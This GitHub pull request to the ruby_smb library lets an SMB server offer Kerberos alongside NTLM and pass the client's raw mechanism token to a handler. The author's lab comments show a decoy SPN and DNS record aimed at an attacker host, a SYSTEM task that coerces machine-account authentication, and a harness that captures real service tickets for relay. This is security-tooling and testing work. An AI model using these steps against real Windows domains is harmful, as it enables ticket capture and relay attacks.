Skip to content

Allow a server to offer Kerberos as well as NTLM - #303

Open
Pushpenderrathore wants to merge 5 commits into
rapid7:masterfrom
Pushpenderrathore:feature/kerberos-gss-provider
Open

Allow a server to offer Kerberos as well as NTLM#303
Pushpenderrathore wants to merge 5 commits into
rapid7:masterfrom
Pushpenderrathore:feature/kerberos-gss-provider

Conversation

@Pushpenderrathore

@Pushpenderrathore Pushpenderrathore commented Aug 2, 2026

Copy link
Copy Markdown

Opened as a draft while the scope is confirmed, see rapid7/metasploit-framework#21709.

Description

A server could only ever offer a client one authentication mechanism, NTLM. The SPNEGO NegTokenInit it sends during NEGOTIATE was built inside Gss::Provider::NTLM::Authenticator#process(nil), with a mechTypes list hardcoded to a single OID_NTLMSSP. A comment there noted the limitation:

# this is only NTLMSSP (as opposed to SPNEGO + NTLMSSP)

Since the token was owned by the NTLM provider, no other mechanism had a way to contribute to it, and Server holds exactly one provider, so two mechanisms could not coexist. A client is therefore never given anything to negotiate.

This adds Kerberos as an offerable mechanism, in three steps:

  1. Providers declare what they support. Provider::Base#mech_types replaces the hardcoded list, and the NegTokenInit construction moves to Gss.gss_neg_token_init(mech_types) so it is no longer owned by one provider. NTLM declares OID_NTLMSSP and emits a byte identical token.
  2. Provider::Multi holds an ordered list of providers, advertises all of their mechanisms, and routes each request to whichever one understands the mechanism the client selected. A NegTokenInit names the mechanism, so routing is decided there; a NegTokenResp carries no mechanism OID and continues the exchange already under way.
  3. Provider::Kerberos advertises the Kerberos mechanisms and hands the mechanism token to a handler.
kerberos = RubySMB::Gss::Provider::Kerberos.new
kerberos.on_mech_token do |token, authenticator|
  # token is the mechanism token exactly as the client sent it
  RubySMB::Gss::Provider::Kerberos.token_id(token) == RubySMB::Gss::Provider::Kerberos::TOK_ID_KRB_AP_REQ
end

RubySMB::Server.new(
  gss_provider: RubySMB::Gss::Provider::Multi.new([kerberos, RubySMB::Gss::Provider::NTLM.new])
)

Why the Kerberos provider does not decode the token

An AP-REQ is encrypted to the service the client believes it is talking to, so a server without that service's key cannot read it. Provider::Kerberos therefore does not try. It surfaces the token exactly as the client sent it and lets the handler decide how to reply.

That keeps Kerberos message parsing out of this library, so no new dependency is introduced, and a caller that forwards the token elsewhere does not alter the ticket it contains.

This is deliberately not full Kerberos acceptance: there is no keytab, no ticket decryption and no PAC validation. The provider refactor would support that later, but it is a separate piece of work.

SMB1, SMB2 and SMB3

Routing happens in the authenticator rather than at the call sites. Every request already funnels through ServerClient#process_gss, which both do_negotiate_smb1 and do_negotiate_smb2 and both session setup paths call, so no version specific code needed to change.

Backwards compatibility

Existing servers are unaffected, and this is asserted rather than assumed:

  • NTLM's advertisement is byte identical to the token it built before.
  • Wrapping a single provider in Multi produces a byte identical advertisement and an identical authentication result to using that provider directly.
  • Sub-authenticators are built lazily, so a mechanism that is advertised but never selected is never instantiated.
  • With no handler set, Provider::Kerberos refuses the attempt rather than silently accepting it, since nothing here can validate a ticket.

Testing

$ bundle exec rspec
12376 examples, 0 failures

12334 before this change, so 42 added and none broken.

New coverage in spec/lib/ruby_smb/gss/provider/multi_spec.rb and spec/lib/ruby_smb/gss/provider/kerberos_spec.rb, including a complete NTLM exchange through Multi producing the same status, identity and session key as the NTLM provider on its own, mechanism routing and refusal of unsupported mechanisms, refusal of a continuation before any mechanism has been selected, and a byte identical round trip of a mechanism token so a forwarded ticket stays valid.

Known limitation

A Kerberos token sent bare, rather than wrapped in SPNEGO, is not accepted. The GSS-API framing around such a token is not valid ASN.1, so OpenSSL::ASN1.decode cannot read it and the request is refused. Windows wraps its mechanism token in SPNEGO for SMB, which is what the lab testing below exercised, but RFC 2743 does permit a bare token and another client could send one. Worth handling if this is wanted.

The SPNEGO NegTokenInit a server sends to advertise its authentication
mechanisms was built inside the NTLM authenticator, with a mechTypes list
hardcoded to a single OID_NTLMSSP. A comment there noted the limitation:
"this is only NTLMSSP (as opposed to SPNEGO + NTLMSSP)".

Because the token was owned by the NTLM provider, no other mechanism had a
way to contribute to the advertisement, so a server could never offer a
client anything but NTLM.

Move the NegTokenInit construction to Gss.gss_neg_token_init, which takes
the mechTypes to advertise, and add Provider::Base#mech_types so a provider
declares what it handles. NTLM declares OID_NTLMSSP, so the token it emits
is byte identical to the one it built before.

Also define the Kerberos v5 mechanism OIDs, both the RFC 4121 OID and the
legacy Microsoft variant, since clients may offer or select either.

No behaviour change: this only moves ownership of the mechanism list from
the NTLM provider to the providers themselves.
A server held exactly one GSS provider, so it could only ever offer a
client a single authentication mechanism. SPNEGO exists to let the two
sides agree on a mechanism, but with one on offer there is nothing to
negotiate.

Add Provider::Multi, which holds an ordered list of providers, advertises
the mechanisms of all of them, and routes each request to whichever one
understands the mechanism the client selected. A NegTokenInit names the
mechanism, so that is where the routing decision is made; a NegTokenResp
carries no mechanism OID and is treated as a continuation of the exchange
already under way.

Routing happens in the authenticator rather than at the call sites, so it
covers SMB1 and SMB2/3 alike: every request already funnels through
ServerClient#process_gss.

Sub-authenticators are built lazily, so a mechanism that is advertised but
never selected is never instantiated, and the session key of whichever
mechanism actually authenticated is exposed to the server for signing.

Wrapping a single provider produces a byte identical advertisement and an
identical authentication result, so existing servers are unaffected.
A Kerberos AP-REQ is encrypted to the service the client believes it is
talking to, so a server that does not hold that service's key cannot read
it. Provider::Kerberos therefore does not try: it advertises the Kerberos
mechanisms, and hands the mechanism token to a handler that decides how to
reply.

That is enough for a server to observe or forward Kerberos authentication,
and it keeps Kerberos message parsing out of this library, so no new
dependency is introduced and the token is never altered in transit. A
handler receives the bytes exactly as the client sent them, which matters
for anything that forwards the ticket elsewhere.

Both the RFC 4121 mechanism OID and the legacy Microsoft variant are
advertised, since clients may select either, and the RFC 4121 token
identifiers are exposed so a handler can tell an AP-REQ from an AP-REP or
a KRB-ERROR without decoding the payload.

With no handler set the attempt is refused rather than silently accepted,
since nothing here can validate a ticket.

Accepting Kerberos properly, by decrypting the ticket with a service key
and validating the PAC, is a separate concern and is not implemented here.
Lab testing against a Windows domain controller showed the documentation
here was wrong about the shape of the token a client sends.

The mechanism token is a GSS-API InitialContextToken (RFC 2743 section
3.1), which wraps the mechanism OID and the token identifier around the
Kerberos message:

  60 82 0c 0e                 InitialContextToken
    06 09 2a 86 48 ..         the mechanism OID
    01 00                     the token id, here KRB_AP_REQ
    6e 82 0b fd ..            the AP-REQ itself

So the token id follows the OID rather than starting the token, which is
what the previous comment implied, and the framing around it is not valid
ASN.1, so OpenSSL::ASN1.decode cannot read it.

Correct the documentation and add Kerberos.token_id, which locates the
identifier by walking the lengths, so a handler can tell an AP-REQ from an
AP-REP or a KRB-ERROR without decoding the payload or guessing at offsets.

The provider itself was already handing up the token unaltered, which is
what matters for anything forwarding it; only the description of it was
wrong.
@Pushpenderrathore

Pushpenderrathore commented Aug 2, 2026

Copy link
Copy Markdown
Author

Took this to a lab rather than trusting the specs, since the whole point is what a real Windows client does when you finally offer it something other than NTLM. Short version: it works, and it turned up one thing my specs had no chance of catching.

Setup was a Server 2022 DC in kerberos.issue, a decoy SPN pointing at the attacker box, and an SMB server built from this branch offering Kerberos ahead of NTLM. Then just net use from the DC.

The client negotiated SMB 3.1.1, picked Kerberos, and handed over a ticket:

advertising mechanisms, in order:
  1. 1.2.840.113554.1.2.2
  2. 1.2.840.48018.1.2.2
  3. 1.3.6.1.4.1.311.2.2.10

[I] Negotiated dialect: SMB v3.1.1

CAPTURED A KERBEROS MECHANISM TOKEN FROM A REAL WINDOWS CLIENT
  token size : 3090 bytes
  token id   : 0100  (AP-REQ)
  mech OID   : 1.2.840.113554.1.2.2
  AP-REQ     : 3073 bytes, starts 6e820bfd (APPLICATION 14)
  round trip : BYTE-IDENTICAL, ticket unaltered

Decoding it confirms it's a genuine service ticket for the decoy, not something incidental that happened to be lying around:

AP-REQ (3073 bytes)
  msg-type  : 14   (KRB_AP_REQ)
  Ticket
    realm   : KERBEROS.ISSUE
    sname   : cifs/relaytest.kerberos.issue
    etype   : 18  (AES256-CTS-HMAC-SHA1-96)
    kvno    : 5
    cipher  : 1112 bytes (encrypted to the service key)
Full setup and run, if you want to reproduce it

Decoy SPN and a DNS record pointing the name at the attacker host:

setspn -S cifs/relaytest.kerberos.issue DC1
Add-DnsServerResourceRecordA -Name relaytest -ZoneName kerberos.issue -IPv4Address <attacker>

The server, built straight from this branch:

kerberos = RubySMB::Gss::Provider::Kerberos.new
kerberos.on_mech_token do |token, _authenticator|
  id = RubySMB::Gss::Provider::Kerberos.token_id(token)
  # ... inspect, forward, whatever ...
  RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
end

RubySMB::Server.new(
  server_sock:  TCPServer.new('0.0.0.0', 445),
  gss_provider: RubySMB::Gss::Provider::Multi.new([kerberos, RubySMB::Gss::Provider::NTLM.new])
)

And from the DC:

klist purge
net use \\relaytest.kerberos.issue\ipc$ /user:kerberos.issue\labuser <password>

The handler refuses the logon, so net use reports a failure. That's expected: we only wanted to see whether the ticket arrives.

Afterwards the SPN was unregistered and the DNS record removed.

Full AP-REQ decode
AP-REQ (3073 bytes)
  pvno      : 5
  msg-type  : 14   (14 = KRB_AP_REQ)
  Ticket
    tkt-vno : 5
    realm   : KERBEROS.ISSUE
    sname   : cifs/relaytest.kerberos.issue
    etype   : 18  (18 = AES256-CTS-HMAC-SHA1-96)
    kvno    : 5
    cipher  : 1112 bytes (encrypted to the service key)
  Authenticator
    etype   : 18
    cipher  : 1807 bytes

Both the ticket and the authenticator are encrypted to keys we don't hold, which is exactly why the provider doesn't try to read them.

NTLM is unaffected

Same server, same client, but net use without explicit domain credentials. Windows falls back to NTLM, and the Kerberos handler is never called:

advertising mechanisms, in order:
  1. 1.2.840.113554.1.2.2
  2. 1.2.840.48018.1.2.2
  3. 1.3.6.1.4.1.311.2.2.10

[I] Negotiated dialect: SMB v3.1.1
  kerberos handler fired: NO

Reproducible in both directions: with /user: it goes Kerberos every time, without it goes NTLM every time.

For contrast, a stock NTLM-only server never gets offered Kerberos at all, because the client is never given the option:

stock NTLM server advertises Kerberos : false
with the Kerberos provider            : true

The thing the lab caught

My documentation described the token shape wrongly, and I'd never have found it from specs, because the specs only ever fed the parser SPNEGO tokens I'd built myself. Real clients send a GSS-API InitialContextToken (RFC 2743 §3.1), where the token id sits after the mechanism OID rather than at the front, and the framing around it isn't valid ASN.1 at all:

60 82 0c 0e                 InitialContextToken
  06 09 2a 86 48 ..         mechanism OID
  01 00                     token id, here KRB_AP_REQ
  6e 82 0b fd ..            the AP-REQ itself

OpenSSL::ASN1.decode flatly refuses that (invalid length for BOOLEAN, since 01 00 looks like a malformed boolean where a nested object should be).

The provider itself was fine, it was already handing the token up untouched, which is the part that matters for forwarding. But the comment above it would have sent the first person to use this straight into a wall. Fixed in f65afd3, plus a Kerberos.token_id helper that walks the lengths to find the identifier instead of guessing at offsets, so a handler can tell an AP-REQ from an AP-REP or a KRB-ERROR without decoding anything.

That's also where the bare token limitation in the description comes from: same framing, and we reject it rather than mis-parse it.

Suite is green at 12376 after the extra coverage.

@jheysel-r7 jheysel-r7 self-assigned this Aug 10, 2026
@jheysel-r7 jheysel-r7 moved this from Todo to In Progress in Metasploit Kanban Aug 10, 2026

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @Pushpenderrathore, thanks for the PR. I'm just setting up an environment to test this along side the framework PR now. After an initial look just a few comments:

#
# Read the token identifier out of a GSS-API InitialContextToken, so a handler can tell an AP-REQ from an
# AP-REP or a KRB-ERROR. The identifier follows the mechanism OID rather than starting the token, and the
# framing is not valid ASN.1, so it is located by walking the lengths rather than by decoding.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for explaining that the token_id is not valid ASN.1, that helped understand the parsing logic inside self.token_id

Comment thread lib/ruby_smb/gss/provider/kerberos.rb Outdated
Comment on lines +139 to +146
def extract_mech_token(gss_api)
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
# NegTokenInit: mechTypes then the mechToken
Gss.asn1dig(gss_api, 1, 0, 1, 0)&.value
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
# NegTokenResp: the responseToken, tagged 2, carries the continuation
Hash[Gss.asn1dig(gss_api, 0)&.value.to_a.map { |obj| [obj.tag, obj.value[0].value] }][2]
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be worth adding rasn1 types in RubySMB for these to avoid the asn1dig calls. I did this in metasploit not too long ago, should be copy pasta-able :)

rapid7/metasploit-framework@e097747

Comment thread lib/ruby_smb/gss.rb
# @param [Array<OpenSSL::ASN1::ObjectId>] mech_types the mechanisms to
# advertise, in preference order (most preferred first).
# @return [String] the DER encoded NegTokenInit.
def self.gss_neg_token_init(mech_types)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I know this was pre-existing although defining the rasn1 type mentioned above would help clean this up as well!

@jheysel-r7

Copy link
Copy Markdown
Contributor

Thanks for providing the test script and instructions. It's currently working as expected 👍

➜  ruby_smb git:(f65afd3) ✗ rvmsudo bundle exec ruby test.rb
Password:
up on 445, offering Kerberos ahead of NTLM
== got a mech token ==
  token id   : 0100 (AP-REQ nice!)
  first bytes: 60820d1f06092a86

@Pushpenderrathore
Pushpenderrathore marked this pull request as ready for review August 11, 2026 02:21
Replace the asn1dig chains in the Kerberos GSS provider and the
hand-rolled NegTokenInit builder with RASN1 model types, following the
approach used in metasploit-framework #20967.

Add SpnegoNegTokenInit and SpnegoNegTokenTarg under RubySMB::Gss, along
with a GeneralString type and a NegHints model so the advertisement,
including the Microsoft negHints placeholder, can be built by the model.
The token gss_neg_token_init produces stays byte-identical to the one
the hand-rolled builder produced.

extract_mech_token now parses through those models, dispatching on the
SPNEGO identifier octet, and Gss.asn1dig is kept since the NTLM provider
still relies on it.

Declare rasn1 >= 0.12 (the release that introduced the model wrapper DSL
these types use).
@Pushpenderrathore

Copy link
Copy Markdown
Author

Thanks @jheysel-r7. I took the RASN1 suggestion and modelled the SPNEGO tokens the way you did in metasploit-framework #20967, so the asn1dig walks and the hand-rolled builder are gone. Pushed in 05360b0.

What changed

  • Added RubySMB::Gss::SpnegoNegTokenInit and RubySMB::Gss::SpnegoNegTokenTarg (lib/ruby_smb/gss/spnego_neg_token_init.rb, spnego_neg_token_targ.rb), mirroring the Rex classes from #20967.
  • RASN1 has no GeneralString type and the SPNEGO negHints carries its hintName as one, so I defined a small GeneralString (universal tag 27) plus a NegHints model. That lets the model build the server advertisement, negHints placeholder and all, rather than just parse.
  • Gss.gss_neg_token_init is now one line: SpnegoNegTokenInit.build(mech_types). Its output is byte-identical to the old hand-rolled token, which matters because the NTLM and Multi providers advertise through the same method. There is a spec that locks the exact bytes.
  • Kerberos::Authenticator#extract_mech_token parses through the models now, dispatching on the SPNEGO identifier octet (0x60 for an InitialContextToken carrying a NegTokenInit, 0xa1 for a NegTokenResp), and no longer pre-decodes with OpenSSL.
  • Gss.asn1dig is left in place. The NTLM provider and multi.rb still use it, so removing it was out of scope here.
  • Declared rasn1 >= 0.12, the release that introduced the model wrapper DSL these types use.

Verifying it works across the whole CI Ruby matrix

The repo tests Ruby 2.7 through 3.4 and Gemfile.lock is not committed, so each leg resolves rasn1 fresh. rasn1 0.14+ needs Ruby 3.0, which means the versions actually in play are 0.13.1 on Ruby 2.7 and the newest release (0.17.0 today) on Ruby 3.x. I ran the real suite at both ends and checked the models against every version in between.

Cross-version results

Full bundle exec rspec on the real toolchain:

Ruby rasn1 result
2.7.8 0.13.1 12382 examples, 0 failures
3.3.8 0.17.0 12382 examples, 0 failures

Build byte-identity and every parse path, checked directly against each rasn1 a CI leg could resolve:

rasn1 build byte-identical parse
0.11.0 fails, no wrapper DSL n/a
0.12.0 yes yes
0.12.1 yes yes
0.13.1 yes yes
0.14.0 yes yes
0.15.0 yes yes
0.16.3 yes yes
0.17.0 yes yes

The >= 0.12 floor is the tight one: it has to stay at or below 0.13.1 or Ruby 2.7, which cannot go past rasn1 0.13.1, would fail to resolve.

Live check against a real Windows client

Specs aside, I wanted to confirm a real client still selects Kerberos from the RASN1-built advertisement and that the model pulls the ticket back out unchanged. Server 2022 DC in kerberos.issue, a decoy CIFS/smbrelay.kerberos.issue SPN with DNS pointing the name at the box running this branch, and a SYSTEM scheduled task on the DC to trigger the connection as the machine account.

advertising mechanisms, in order:
  1. 1.2.840.113554.1.2.2
  2. 1.2.840.48018.1.2.2
  3. 1.3.6.1.4.1.311.2.2.10

[I] Negotiated dialect: SMB v3.1.1

====================================================================
CAPTURED A KERBEROS MECHANISM TOKEN FROM A REAL WINDOWS CLIENT
====================================================================
  token size : 3248 bytes
  token id   : 0100  (AP-REQ)
  mech OID   : 1.2.840.113554.1.2.2
  AP-REQ     : 3231 bytes, starts 6e820c9b (APPLICATION 14)
  round trip : BYTE-IDENTICAL, ticket unaltered
====================================================================

Feeding that captured token back through the new model returned it byte for byte:

model reparse == captured token : true
token_id                        : 0100
Setup and trigger, if you want to reproduce it

Decoy SPN and a DNS record pointing the name at the host running the server:

setspn -S CIFS/smbrelay.kerberos.issue DC1
Add-DnsServerResourceRecordA -ZoneName kerberos.issue -Name smbrelay -IPv4Address <server-ip>

Start the capture server on that host (needs port 445):

sudo bundle exec ruby kerberos_capture_test.rb 0.0.0.0 445

Trigger the connection as the machine account. A plain interactive net use tends to fall back to NTLM because the logon session has no usable TGT, so a SYSTEM task is the reliable path:

schtasks /create /tn kcap /tr "cmd /c net use \\smbrelay.kerberos.issue\IPC$" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn kcap
kerberos_capture_test.rb
# Lab harness: stand up an SMB server that offers Kerberos alongside NTLM using the
# providers added in this branch, and report what a real Windows client actually sends.
#
# Run this, then from the domain-joined victim:
#   net use \\<decoy>\ipc$ /user:...
#
# The question it answers: does a real Windows client, given the chance, select
# Kerberos and hand us an AP-REQ?
$stdout.sync = true
$LOAD_PATH.unshift(File.join(__dir__, 'lib'))
require 'ruby_smb'
require 'logger'

BIND = ARGV[0] || '0.0.0.0'
PORT = (ARGV[1] || 445).to_i

captured = []

kerberos = RubySMB::Gss::Provider::Kerberos.new
kerberos.on_mech_token do |token, _authenticator|
  File.binwrite('/tmp/raw_mech_token.bin', token)
  id = RubySMB::Gss::Provider::Kerberos.token_id(token)
  kind = case id
         when RubySMB::Gss::Provider::Kerberos::TOK_ID_KRB_AP_REQ then 'AP-REQ'
         when RubySMB::Gss::Provider::Kerberos::TOK_ID_KRB_AP_REP then 'AP-REP'
         when RubySMB::Gss::Provider::Kerberos::TOK_ID_KRB_ERROR  then 'KRB-ERROR'
         else "unknown (#{id.inspect})"
         end

  captured << token
  puts
  puts '=' * 68
  puts 'CAPTURED A KERBEROS MECHANISM TOKEN FROM A REAL WINDOWS CLIENT'
  puts '=' * 68
  puts "  token size : #{token.bytesize} bytes"
  puts "  token id   : #{id.unpack1('H*')}  (#{kind})"

  # locate the AP-REQ the same way a relay would, to confirm it is intact
  len_bytes = token.getbyte(1) > 0x80 ? (token.getbyte(1) & 0x7f) : 0
  oid_off   = 2 + len_bytes
  oid_len   = token.getbyte(oid_off + 1)
  oid       = OpenSSL::ASN1.decode(token.byteslice(oid_off, 2 + oid_len)).oid
  ap_req    = token.byteslice(oid_off + 2 + oid_len + 2..)
  puts "  mech OID   : #{oid}"
  puts "  AP-REQ     : #{ap_req.bytesize} bytes, starts #{ap_req[0, 4].unpack1('H*')} (APPLICATION 14)"

  File.binwrite('/tmp/captured_ap_req.bin', ap_req)

  # the property a relay depends on: rebuild the token and confirm nothing changed
  rebuilt = token.byteslice(0, oid_off + 2 + oid_len + 2) + File.binread('/tmp/captured_ap_req.bin')
  puts "  round trip : #{rebuilt == token ? 'BYTE-IDENTICAL, ticket unaltered' : '*** MUTATED ***'}"
  puts '=' * 68
  puts

  RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
end

ntlm = RubySMB::Gss::Provider::NTLM.new
ntlm.put_account('labuser', 'Lab@ssw0rd2026!')

provider = RubySMB::Gss::Provider::Multi.new([kerberos, ntlm])

puts "advertising mechanisms, in order:"
provider.mech_types.each_with_index { |oid, i| puts "  #{i + 1}. #{oid.oid}" }
puts

logger = Logger.new($stdout)
logger.level = Logger::INFO
logger.formatter = proc { |sev, _t, _p, msg| "[#{sev[0]}] #{msg}\n" }

server = RubySMB::Server.new(
  server_sock: TCPServer.new(BIND, PORT),
  gss_provider: provider,
  logger: logger
)

puts "listening on #{BIND}:#{PORT}, waiting for a client..."
puts "(ctrl-c to stop)"
puts

trap('INT') do
  puts "\ncaptured #{captured.length} Kerberos token(s) this run"
  exit
end

server.run

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

2 participants